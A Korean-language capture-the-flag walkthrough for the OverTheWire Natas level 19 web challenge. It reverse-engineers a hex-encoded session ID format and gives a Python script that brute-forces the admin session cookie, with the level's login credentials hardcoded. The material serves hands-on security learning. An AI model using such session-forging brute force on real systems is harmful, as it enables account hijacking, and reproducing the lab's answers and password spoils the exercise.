This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
세션 아이디가 숫자로 되어있지 않다는 뜻인가보다. 임의의 아이디로 로그인해서 세션 아이디가 어떻게 되어있나 보자:
PHPSSID=3138362d
...?
일단 임의의 16진수 값으로 세션 아이디가 생성되는 것 같다.
임의의 값들을 ID/PW에 때려넣으면서 세션 아이디가 어떻게 생성되는지 유추해보자.
원래의 값에 띄어쓰기는 없지만 분석의 용이함을 위해 넣었음
31 38 36 2d -> ID/PW 둘다 입력안함
35 34 36 2d 31 ID 1 / PW 입력안함
35 31 38 2d -> ID 입력안함 / PW 1
33 37 36 2d 31 -> ID 1 / PW:1
2d 31 부분이 되풀이되는 것을 볼 수 있다. 31은 문자 1의 ascii code의 hex 값이다.
36 31 33 2d 32 -> 2 /
31 31 31 2d -> / 2
35 34 33 2d 32 -> 2 / 2
2d + ID를 ascii코드로 변환한 값이 표시되고 있다.
31 36 32 2d 31 31 -> 11 /
35 37 37 2d -> / 11
36 30 38 2d 31 31 -> 11 / 11
Password는 session 값에 영향을 끼치지 않는 건가?
34 37 33 2d 61 64 6d 69 6e -> admin /
36 35 2d -> / admin
32 30 37 2d 61 64 6d 69 6e -> admin / admin
31 31 2d 61 64 6d 69 6e -> admin / 1
32 37 37 2d 61 64 6d 69 6e -> admin / !@#$%^&*()
35 39 39 2d 61 64 6d 69 6e -> admin / qwertyuiop
34 31 36 2d 61 64 6d 69 6e -> admin / long password
34 33 35 2d 61 64 6d 69 6e -> admin / the quick brown fox jumps over the lazy dog
로그인해야 하는 admin 계정에 여러가지 password들을 대입하여 패턴을 유추해보았다.
31 31 2d 61 64 6d 69 6e -> 가장 짧은 password (1) 의 세션값
34 33 35 2d 61 64 6d 69 6e -> 가장 긴 password (the quick brown...) 의 세션값
2d 앞의 값들에서 자주 표시되는 30~39 사이의 코드는 문자 0~9의 ascii code의 hex값이다.
따라서 임의의 숫자 + 2d + 계정 이름의 ascii code의 hex값으로 세션 아이디가 구성됨을 알아낼 수 있었다.
아래의 Python 코드를 사용하여 순차적으로 탐색하자:
import requests
session = 0
while True:
session = session + 1
tmp = str(session).encode("utf8").hex()
cookie = {'PHPSESSID': tmp + "2d61646d696e"}
r = requests.post('http://natas19.natas.labs.overthewire.org/index.php', auth=('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs'), cookies = cookie)
print("Trying session no: " + str(session) + ":" + tmp)
if "You are an admin" in r.text:
print("******** FOUND IT******** ")
print(r.text)
break